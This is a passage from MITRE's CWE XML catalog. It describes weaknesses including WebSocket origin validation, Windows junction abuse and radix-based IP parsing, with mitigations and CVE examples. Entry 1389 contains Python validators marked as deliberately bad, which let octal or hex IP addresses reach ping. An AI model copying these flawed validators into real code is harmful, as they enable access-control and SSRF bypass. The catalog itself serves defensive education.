					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Special Elements (Characters or Reserved Words)</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Sanitize Special Elements</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-04-05">Improper Sanitization of Special Elements</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="1384" Name="Improper Handling of Physical or Environmental Conditions" Abstraction="Class" Structure="Simple" Status="Incomplete">
    <Description>The product does not properly handle unexpected physical or environmental conditions that occur naturally or are artificially induced.</Description>
    <Extended_Description>
      <xhtml:p>Hardware products are typically only guaranteed to behave correctly within certain physical limits or environmental conditions. Such products cannot necessarily control the physical or external conditions to which they are subjected. However, the inability to handle such conditions can undermine a product's security. For example, an unexpected physical or environmental condition may cause the flipping of a bit that is used for an authentication decision. This unexpected condition could occur naturally or be induced artificially by an adversary.</xhtml:p>
      <xhtml:p>Physical or environmental conditions of concern are:</xhtml:p>
      <xhtml:ul>
        <xhtml:li>
          <xhtml:div><xhtml:b>Atmospheric characteristics: </xhtml:b>extreme temperature ranges, etc.</xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Interference: </xhtml:b>electromagnetic interference (EMI), radio frequency interference (RFI), etc.</xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Assorted light sources: </xhtml:b>white light, ultra-violet light (UV), lasers, infrared (IR), etc.</xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Power variances: </xhtml:b>under-voltages, over-voltages, under-current, over-current, etc.</xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Clock variances: </xhtml:b>glitching, overclocking, clock stretching, etc.</xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Component aging and degradation</xhtml:b></xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Materials manipulation: </xhtml:b>focused ion beams (FIB), etc.</xhtml:div>
        </xhtml:li>
        <xhtml:li>
          <xhtml:div><xhtml:b>Exposure to radiation: </xhtml:b>x-rays, cosmic radiation, etc.</xhtml:div>
        </xhtml:li>
      </xhtml:ul>
    </Extended_Description>
    <Related_Weaknesses>
      <Related_Weakness Nature="ChildOf" CWE_ID="703" View_ID="1000" Ordinal="Primary"/>
    </Related_Weaknesses>
    <Applicable_Platforms>
      <Technology Class="System on Chip" Prevalence="Undetermined"/>
	  <Technology Class="ICS/OT" Prevalence="Undetermined"/>
    </Applicable_Platforms>
    <Modes_Of_Introduction>
      <Introduction>
	<Phase>Architecture and Design</Phase>
	<Note>The product's design might not consider checking and handling extreme conditions.</Note>
      </Introduction>
      <Introduction>
	<Phase>Manufacturing</Phase>
	<Note>For hardware manufacturing, sub-par components might be chosen that are not able to handle the expected environmental conditions.</Note>
      </Introduction>
    </Modes_Of_Introduction>
    <Common_Consequences>
      <Consequence>
	<Scope>Confidentiality</Scope>
	<Scope>Integrity</Scope>
	<Scope>Availability</Scope>
	<Impact>Varies by Context</Impact>
	<Impact>Unexpected State</Impact>
	<Note>Consequences of this weakness are highly dependent on the role of affected components within the larger product.</Note>
      </Consequence>
    </Common_Consequences>
    <Potential_Mitigations>
      <Mitigation>
	<Phase>Requirements</Phase>
	<Description>In requirements, be specific about expectations for how the product will perform when it exceeds physical and environmental boundary conditions, e.g., by shutting down.</Description>
      </Mitigation>
      <Mitigation>
	<Phase>Architecture and Design</Phase>
	<Phase>Implementation</Phase>
	<Description>Where possible, include independent components that can detect excess environmental conditions and have the capability to shut down the product.</Description>
      </Mitigation>
      <Mitigation>
	<Phase>Architecture and Design</Phase>
	<Phase>Implementation</Phase>
	<Description>Where possible, use shielding or other materials that can increase the adversary's workload and reduce the likelihood of being able to successfully trigger a security-related failure.</Description>
      </Mitigation>
    </Potential_Mitigations>
    <References>
      <Reference External_Reference_ID="REF-1248" Section="ICS Communications / 2. Unreliability"/>
      <Reference External_Reference_ID="REF-1255"/>
      <Reference External_Reference_ID="REF-1285"/>
      <Reference External_Reference_ID="REF-1286" Section="1.2"/>
    </References>
    <Content_History>
      <Submission>
	      <Submission_Name>CWE Content Team</Submission_Name>
	      <Submission_Organization>MITRE</Submission_Organization>
	      <Submission_Date>2022-04-21</Submission_Date>
      </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Description, Name, Potential_Mitigations, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
      <Contribution Type="Feedback">
	      <Contribution_Name>Members of the Hardware CWE Special Interest Group</Contribution_Name>
	      <Contribution_Date>2022-05-13</Contribution_Date>
	      <Contribution_Comment>Provided feedback on descriptions</Contribution_Comment>
	    </Contribution>
			<Previous_Entry_Name Date="2022-06-28">Improper Handling of Extreme Physical Environment Conditions</Previous_Entry_Name>
    </Content_History>
  </Weakness>
      <Weakness ID="1385" Name="Missing Origin Validation in WebSockets" Abstraction="Variant" Structure="Simple" Status="Incomplete">
      <Description>The product uses a WebSocket, but it does not properly verify that the source of data or communication is valid.</Description>
      <Extended_Description>
	<xhtml:p>WebSockets provide a bi-directional low latency communication (near real-time) between a client and a server. WebSockets are different than HTTP in that the connections are long-lived, as the channel will remain open until the client or the server is ready to send the message, whereas in HTTP, once the response occurs (which typically happens immediately), the transaction completes. </xhtml:p>
	<xhtml:p>A WebSocket can leverage the existing HTTP protocol over ports 80 and 443, but it is not limited to HTTP. WebSockets can make cross-origin requests that are not restricted by browser-based protection mechanisms such as the Same Origin Policy (SOP) or Cross-Origin Resource Sharing (CORS). Without explicit origin validation, this makes CSRF attacks more powerful.</xhtml:p>
      </Extended_Description>
      <Related_Weaknesses>
	<Related_Weakness Nature="ChildOf" CWE_ID="346" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
	<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	<Technology Name="Web Server" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Alternate_Terms>
	<Alternate_Term>
	  <Term>Cross-Site WebSocket hijacking (CSWSH)</Term>
	  <Description>this term is used for attacks that exploit this weakness</Description>
	</Alternate_Term>
      </Alternate_Terms>
      <Modes_Of_Introduction>
	<Introduction>
	  <Phase>Architecture and Design</Phase>
	</Introduction>
	<Introduction>
	  <Phase>Implementation</Phase>
	</Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
	<Consequence>
	  <Scope>Confidentiality</Scope>
	  <Scope>Integrity</Scope>
	  <Scope>Availability</Scope>
	  <Scope>Non-Repudiation</Scope>
	  <Scope>Access Control</Scope>
	  <Impact>Varies by Context</Impact>
	  <Impact>Gain Privileges or Assume Identity</Impact>
	  <Impact>Bypass Protection Mechanism</Impact>
	  <Impact>Read Application Data</Impact>
	  <Impact>Modify Application Data</Impact>
	  <Impact>DoS: Crash, Exit, or Restart</Impact>
	  <Note>The consequences will vary depending on the nature of the functionality that is vulnerable to CSRF. An attacker could effectively perform any operations as the victim. If the victim is an administrator or privileged user, the consequences may include obtaining complete control over the web application - deleting or stealing data, uninstalling the product, or using it to launch other attacks against all of the product's users. Because the attacker has the identity of the victim, the scope of the CSRF is limited only by the victim's privileges.</Note>
	</Consequence>
      </Common_Consequences>
      <Potential_Mitigations>
	<Mitigation>
	  <Phase>Implementation</Phase>
	  <Description>Enable CORS-like access restrictions by verifying the 'Origin' header during the WebSocket handshake.</Description>
	</Mitigation>
	<Mitigation>
	  <Phase>Implementation</Phase>
	  <Description>Use a randomized CSRF token to verify requests.</Description>
	</Mitigation>
	<Mitigation>
	  <Phase>Implementation</Phase>
	  <Description>Use TLS to securely communicate using 'wss' (WebSocket Secure) instead of 'ws'.</Description>
	</Mitigation>
	<Mitigation>
	  <Phase>Architecture and Design</Phase>
	  <Phase>Implementation</Phase>
	  <Description>Require user authentication prior to the WebSocket connection being established. For example, the WS library in Node has a 'verifyClient' function.</Description>
	</Mitigation>
	<Mitigation>
	  <Phase>Implementation</Phase>
	  <Description>Leverage rate limiting to prevent against DoS. Use of the leaky bucket algorithm can help with this.</Description>
	  <Effectiveness>Defense in Depth</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Implementation</Phase>
	  <Description>Use a library that provides restriction of the payload size. For example, WS library for Node includes 'maxPayloadoption' that can be set.</Description>
	  <Effectiveness>Defense in Depth</Effectiveness>
	</Mitigation>
	<Mitigation>
	  <Phase>Implementation</Phase>
	  <Description>Treat data/input as untrusted in both directions and apply the same data/input sanitization as XSS, SQLi, etc.</Description>
	</Mitigation>
      </Potential_Mitigations>
      <Observed_Examples>
	<Observed_Example>
	  <Reference>CVE-2020-25095</Reference>
	  <Description>web console for SIEM product does not check Origin header, allowing Cross Site WebSocket Hijacking (CSWH)</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2020-25095</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2018-6651</Reference>
	  <Description>Chain: gaming client attempts to validate the Origin header, but only uses a substring, allowing Cross-Site WebSocket hijacking by forcing requests from an origin whose hostname is a substring of the valid origin.</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2018-6651</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2018-14730</Reference>
	  <Description>WebSocket server does not check the origin of requests, allowing attackers to steal developer's code using a ws://127.0.0.1:3123/ connection.</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2018-14730</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2018-14731</Reference>
	  <Description>WebSocket server does not check the origin of requests, allowing attackers to steal developer's code using a ws://127.0.0.1/ connection to a randomized port number.</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2018-14731</Link>
	</Observed_Example>
	<Observed_Example>
	  <Reference>CVE-2018-14732</Reference>
	  <Description>WebSocket server does not check the origin of requests, allowing attackers to steal developer's code using a ws://127.0.0.1:8080/ connection.</Description>
	  <Link>https://www.cve.org/CVERecord?id=CVE-2018-14732</Link>
	</Observed_Example>
      </Observed_Examples>
      <References>
	<Reference External_Reference_ID="REF-1257"/>
	<Reference External_Reference_ID="REF-1251"/>
	<Reference External_Reference_ID="REF-1252"/>
	<Reference External_Reference_ID="REF-1256"/>
	<Reference External_Reference_ID="REF-1253" Section="Using cross-site WebSockets to exploit vulnerabilities"/>
      </References>
      <Content_History>
	<Submission>
	  <Submission_Name>Anonymous External Contributor</Submission_Name>
	  <Submission_Date>2021-05-28</Submission_Date>
	</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
      </Content_History>
    </Weakness>
      <Weakness ID="1386" Name="Insecure Operation on Windows Junction / Mount Point" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product opens a file or directory, but it does not properly prevent the name from being associated with a junction or mount point to a destination that is outside of the intended control sphere.</Description>
			<Extended_Description>
			  <xhtml:p>Depending on the intended action
			  being performed, this could allow an
			  attacker to cause the product to read,
			  write, delete, or otherwise operate on
			  unauthorized files.</xhtml:p>
			  <xhtml:p>In Windows, NTFS5 allows for file
			  system objects called reparse points.
			  Applications can create a hard link from one
			  directory to another directory, called a
			  junction point. They can also create a
			  mapping from a directory to a drive letter,
			  called a mount point. If a file is used by a
			  privileged program, but it can be replaced
			  with a hard link to a sensitive file (e.g.,
			  AUTOEXEC.BAT), an attacker could excalate
			  privileges. When the process opens the file,
			  the attacker can assume the privileges of
			  that process, tricking the privileged
			  process to read, modify, or delete the
			  sensitive file, preventing the program from
			  accurately processing data. Note that one
			  can also point to registries and
			  semaphores.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="59" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Windows" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The developer might not consider that when a program in Windows operates with different permissions than the executing user, the use of links, mount points, and junctions might cause the program to access files or directories that are outside of the intended storage location.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Files or Directories</Impact>
					<Note>Read arbitrary files by replacing a user-controlled folder with a mount point and additional hard links.</Note>
				</Consequence>
				<Consequence>
					<Scope>Integrity</Scope>
					<Impact>Modify Files or Directories</Impact>
					<Note>Modify an arbitrary file by replacing the rollback files in installer directories, as they can have the installer execute those rollbacks.</Note>
				</Consequence>
				<Consequence>
					<Scope>Availability</Scope>
					<Impact>Modify Files or Directories</Impact>
					<Note>Even if there is no control of contents, an arbitrary file delete or overwrite (when running as SYSTEM or admin) can be used for a permanent system denial-of-service, e.g. by deleting a startup configuration file that prevents the service from starting.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
				  <Phase>Architecture and Design</Phase>
				  <Strategy>Separation of Privilege</Strategy>
				  <Description>When designing software that will have different rights than the executer, the software should check that files that it is interacting with are not improper hard links or mount points.  One way to do this in Windows is to use the functionality embedded in the following command: "dir /al /s /b" or, in PowerShell, use LinkType as a filter. In addition, some software uses authentication via signing to ensure that the file is the correct one to use. Make checks atomic with the file action, otherwise a TOCTOU weakness (CWE-367) can be introduced.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Observed_Examples>
			  <Observed_Example>
			    <Reference>CVE-2021-26426</Reference>
			    <Description>Privileged service allows attackers to delete unauthorized files using a directory junction, leading to arbitrary code execution as SYSTEM.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2021-26426</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2020-0863</Reference>
			    <Description>By creating a mount point and hard links, an attacker can abuse a service to allow users arbitrary file read permissions.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2020-0863</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2019-1161</Reference>
			    <Description>Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2019-1161</Link>
			  </Observed_Example>
			  <Observed_Example>
			    <Reference>CVE-2014-0568</Reference>
			    <Description>Escape from sandbox for document reader by using a mountpoint [REF-1264]</Description>
			    <Link>https://www.cve.org/CVERecord?id=CVE-2014-0568</Link>
			  </Observed_Example>
			</Observed_Examples>
			<References>
				<Reference External_Reference_ID="REF-1262"/>
				<Reference External_Reference_ID="REF-1264"/>
				<Reference External_Reference_ID="REF-1265"/>
				<Reference External_Reference_ID="REF-1266"/>
				<Reference External_Reference_ID="REF-1267"/>
				<Reference External_Reference_ID="REF-1271"/>
			</References>
			<Notes>
			  <Note Type="Terminology">Symbolic links, hard links, junctions, and mount points can be confusing terminology, as there are differences in how they operate between UNIX-based systems and Windows, and there are interactions between them.</Note>
			  <Note Type="Maintenance">This entry is still under development and will continue to see updates and content improvements.</Note>
			</Notes>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2022-06-07</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1389" Name="Incorrect Parsing of Numbers with Different Radices" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product parses numeric input assuming base 10 (decimal) values, but it does not account for inputs that use a different base number (radix).</Description>
			<Extended_Description>
				<xhtml:p>Frequently, a numeric input that begins with "0" is treated as octal, or "0x" causes it to be treated as hexadecimal, e.g. by the inet_addr() function. For example, "023" (octal) is 35 decimal, or "0x31" is 49 decimal. Other bases may be used as well. If the developer assumes decimal-only inputs, the code could produce incorrect numbers when the inputs are parsed using a different base. This can result in unexpected and/or dangerous behavior. For example, a "0127.0.0.1" IP address is parsed as octal due to the leading "0", whose numeric value would be the same as 87.0.0.1 (decimal), where the developer likely expected to use 127.0.0.1.</xhtml:p>
				<xhtml:p>The consequences vary depending on the surrounding code in which this weakness occurs, but they can include bypassing network-based access control using unexpected IP addresses or netmasks, or causing apparently-symbolic identifiers to be processed as if they are numbers. In web applications, this can enable bypassing of SSRF restrictions.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="704" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Input validation used may assume decimal bases during conditional checks, when it may not always be the case.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The application may rely on a service that supports different numerical bases.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Impact>Read Application Data</Impact>
					<Likelihood>Unknown</Likelihood>
					<Note>An attacker may use an unexpected numerical base to access private application resources.</Note>
				</Consequence>
				<Consequence>
					<Scope>Integrity</Scope>
					<Impact>Bypass Protection Mechanism</Impact>
					<Impact>Alter Execution Logic</Impact>
					<Likelihood>Unknown</Likelihood>
					<Note>An attacker may use an unexpected numerical base to bypass or manipulate access control mechanisms.</Note>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Strategy>Enforcement by Conversion</Strategy>
					<Description>If only decimal-based values are expected in the application, conditional checks should be created in a way that prevent octal or hexadecimal strings from being checked. This can be achieved by converting any numerical string to an explicit base-10 integer prior to the conditional check, to prevent octal or hex values from ever being checked against the condition.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Strategy>Input Validation</Strategy>
					<Description>If various numerical bases do need to be supported, check for leading values indicating the non-decimal base you wish to support (such as 0x for hex) and convert the numeric strings to integers of the respective base. Reject any other alternative-base string that is not intentionally supported by the application.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Strategy>Input Validation</Strategy>
					<Description>If regular expressions are used to validate IP addresses, ensure that they are bounded using ^ and $ to prevent base-prepended IP addresses from being matched.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>The below demonstrative example uses an IP validator that splits up an IP address by octet, tests to ensure each octet can be casted into an integer, and then returns the original IP address if no exceptions are raised. This validated IP address is then tested using the "ping" command.</Intro_Text>
					<Example_Code Nature="bad" Language="Python">
					<xhtml:div>
					  import subprocess<xhtml:br/>
					  <xhtml:br/>
					  def validate_ip(ip: str):<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    split_ip = ip.split('.')<xhtml:br/>
						if len(split_ip) &gt; 4 or len(split_ip) == 0:<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
						  raise ValueError("Invalid IP length")<xhtml:br/>
						</xhtml:div>
						<xhtml:br/>
						for octet in split_ip:<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
						  try:<xhtml:br/>
						  <xhtml:div style="margin-left:1em;">
						    int(octet, 10)<xhtml:br/>
						  </xhtml:div>
						  except ValueError as e:<xhtml:br/>
						  <xhtml:div style="margin-left:1em;">
						    raise ValueError(f"Cannot convert IP octet to int - {e}")<xhtml:br/>
						  </xhtml:div>
						</xhtml:div>
						<xhtml:br/>
						<xhtml:i># Returns original IP after ensuring no exceptions are raised</xhtml:i><xhtml:br/>
						return ip<xhtml:br/>

					  </xhtml:div>
					  <xhtml:br/>
					  def run_ping(ip: str):<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    validated = validate_ip(ip)<xhtml:br/>
						<xhtml:i># The ping command treats zero-prepended IP addresses as octal</xhtml:i><xhtml:br/>
						result = subprocess.call(["ping", validated])<xhtml:br/>
						print(result)<xhtml:br/>
					  </xhtml:div>
					</xhtml:div>
					</Example_Code>
					<Body_Text>If run_ping() were to be called with one or more zero-prepended octets, validate_ip() will succeed as zero-prepended numerical strings can be interpreted as decimal by a cast ("012" would cast to 12). However, as the original IP with the prepended zeroes is returned rather than the casted IP, it will be used in the call to the ping command. Ping DOES check and support octal-based IP octets, so the IP reached via ping may be different than the IP assumed by the validator. For example, ping would considered "0127.0.0.1" the same as "87.0.0.1".</Body_Text>
				</Demonstrative_Example>
				<Demonstrative_Example Demonstrative_Example_ID="DX-154">
					<Intro_Text>This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.</Intro_Text>
					<Example_Code Nature="bad" Language="Python">
					<xhtml:div>
					  import subprocess<xhtml:br/>
					  import re<xhtml:br/>
					  <xhtml:br/>
					  def validate_ip_regex(ip: str):<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")<xhtml:br/>
						if ip_validator.match(ip):<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
						  return ip<xhtml:br/>
						</xhtml:div>
						else:<xhtml:br/>
						<xhtml:div style="margin-left:1em;">
						  raise ValueError("IP address does not match valid pattern.")<xhtml:br/>
						</xhtml:div>
					  </xhtml:div>
					<xhtml:br/>
					def run_ping_regex(ip: str):<xhtml:br/>
				      <xhtml:div style="margin-left:1em;">
						validated = validate_ip_regex(ip)<xhtml:br/>
						<xhtml:i># The ping command treats zero-prepended IP addresses as octal</xhtml:i><xhtml:br/>
						result = subprocess.call(["ping", validated])<xhtml:br/>
						print(result)<xhtml:br/>
					  </xhtml:div>
					</xhtml:div>
					</Example_Code>
					<Body_Text>Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.</Body_Text>
				</Demonstrative_Example>
				<Demonstrative_Example>
					<Intro_Text><xhtml:p>Consider the following scenario, inspired by CWE team member Kelly Todd.</xhtml:p>
					<xhtml:p>Kelly wants to set up monitoring systems for his two cats, who pose very different threats. One cat, Night, tweets embarrassing or critical comments about his owner in ways that could cause reputational damage, so Night's blog needs to be monitored regularly. The other cat, Taki, likes to distract Kelly and his coworkers during business meetings with cute meows, so Kelly monitors Taki's location using a different web site.</xhtml:p>
					<xhtml:p>Suppose /etc/hosts provides the site info as follows:</xhtml:p>
					</Intro_Text>
					<Example_Code Nature="bad" Language="Other">
					<xhtml:div>
					  taki.example.com 10.1.0.7<xhtml:br/>
					  night.example.com 010.1.0.8
					</xhtml:div>
					</Example_Code>
					<Body_Text>The entry for night.example.com has a typo "010" in the first octet. When using ping to ensure the servers are up, the leading 0 causes the IP address to be converted using octal.  So when Kelly's script attempts to access night.example.com, it inadvertently scans 8.1.0.8 instead of 10.1.0.8 (since "010" in octal is 8 in decimal), and Night is free to send new Tweets without being immediately detected.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2021-29662</Reference>
					<Description>Chain: Use of zero-prepended IP addresses in Perl-based IP validation module can lead to an access control bypass.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2021-29662</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2021-28918</Reference>
					<Description>Chain: Use of zero-prepended IP addresses in a product that manages IP blocks can lead to an SSRF.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2021-28918</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2021-29921</Reference>
					<Description>Chain: Use of zero-prepended IP addresses in a Python standard library package can lead to an SSRF.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2021-29921</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2021-29923</Reference>
					<Description>Chain: Use of zero-prepended IP addresses in the net Golang library can lead to an access control bypass.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2021-29923</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2021-29424</Reference>
					<Description>Chain: Use of zero-prepended IP addresses in Perl netmask module allows bypass of IP-based access control.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2021-29424</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2016-4029</Reference>
					<Description>Chain: incorrect validation of intended decimal-based IP address format (CWE-1286) enables parsing of octal or hexadecimal formats (CWE-1389), allowing bypass of an SSRF protection mechanism (CWE-918).</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2016-4029</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-13776</Reference>
					<Description>Mishandling of hex-valued usernames leads to unexpected decimal conversion and privilege escalation in the systemd Linux suite.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-13776</Link>
				</Observed_Example>
			</Observed_Examples>
			<References>
				<Reference External_Reference_ID="REF-1284"/>
			</References>
			<Content_History>
				<Submission>
					<Submission_Name>Anonymous External Contributor</Submission_Name>
					<Submission_Date>2021-05-28</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1390" Name="Weak Authentication" Abstraction="Class" Structure="Simple" Status="Incomplete">
      <Description>The product uses an authentication mechanism to restrict access to specific users or identities, but the mechanism does not sufficiently prove that the claimed identity is correct.</Description>
      <Extended_Description>
	<xhtml:p>Attackers may be able to bypass weak authentication faster and/or with less effort than expected.</xhtml:p>
      </Extended_Description>
      <Related_Weaknesses>
	<Related_Weakness Nature="ChildOf" CWE_ID="287" View_ID="1000" Ordinal="Primary"/>
      </Related_Weaknesses>
      <Applicable_Platforms>
	<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
	<Technology Class="ICS/OT" Prevalence="Undetermined"/>
	<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
      </Applicable_Platforms>
      <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
	    </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
	    </Introduction>
      </Modes_Of_Introduction>
      <Common_Consequences>
        <Consequence>
          <Scope>Integrity</Scope>
          <Scope>Confidentiality</Scope>
          <Scope>Availability</Scope>
          <Scope>Access Control</Scope>
          <Impact>Read Application Data</Impact>
          <Impact>Gain Privileges or Assume Identity</Impact>
          <Impact>Execute Unauthorized Code or Commands</Impact>
          <Note>This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.</Note>
        </Consequence>
      </Common_Consequences>
      <Demonstrative_Examples>
        <Demonstrative_Example Demonstrative_Example_ID="DX-153">
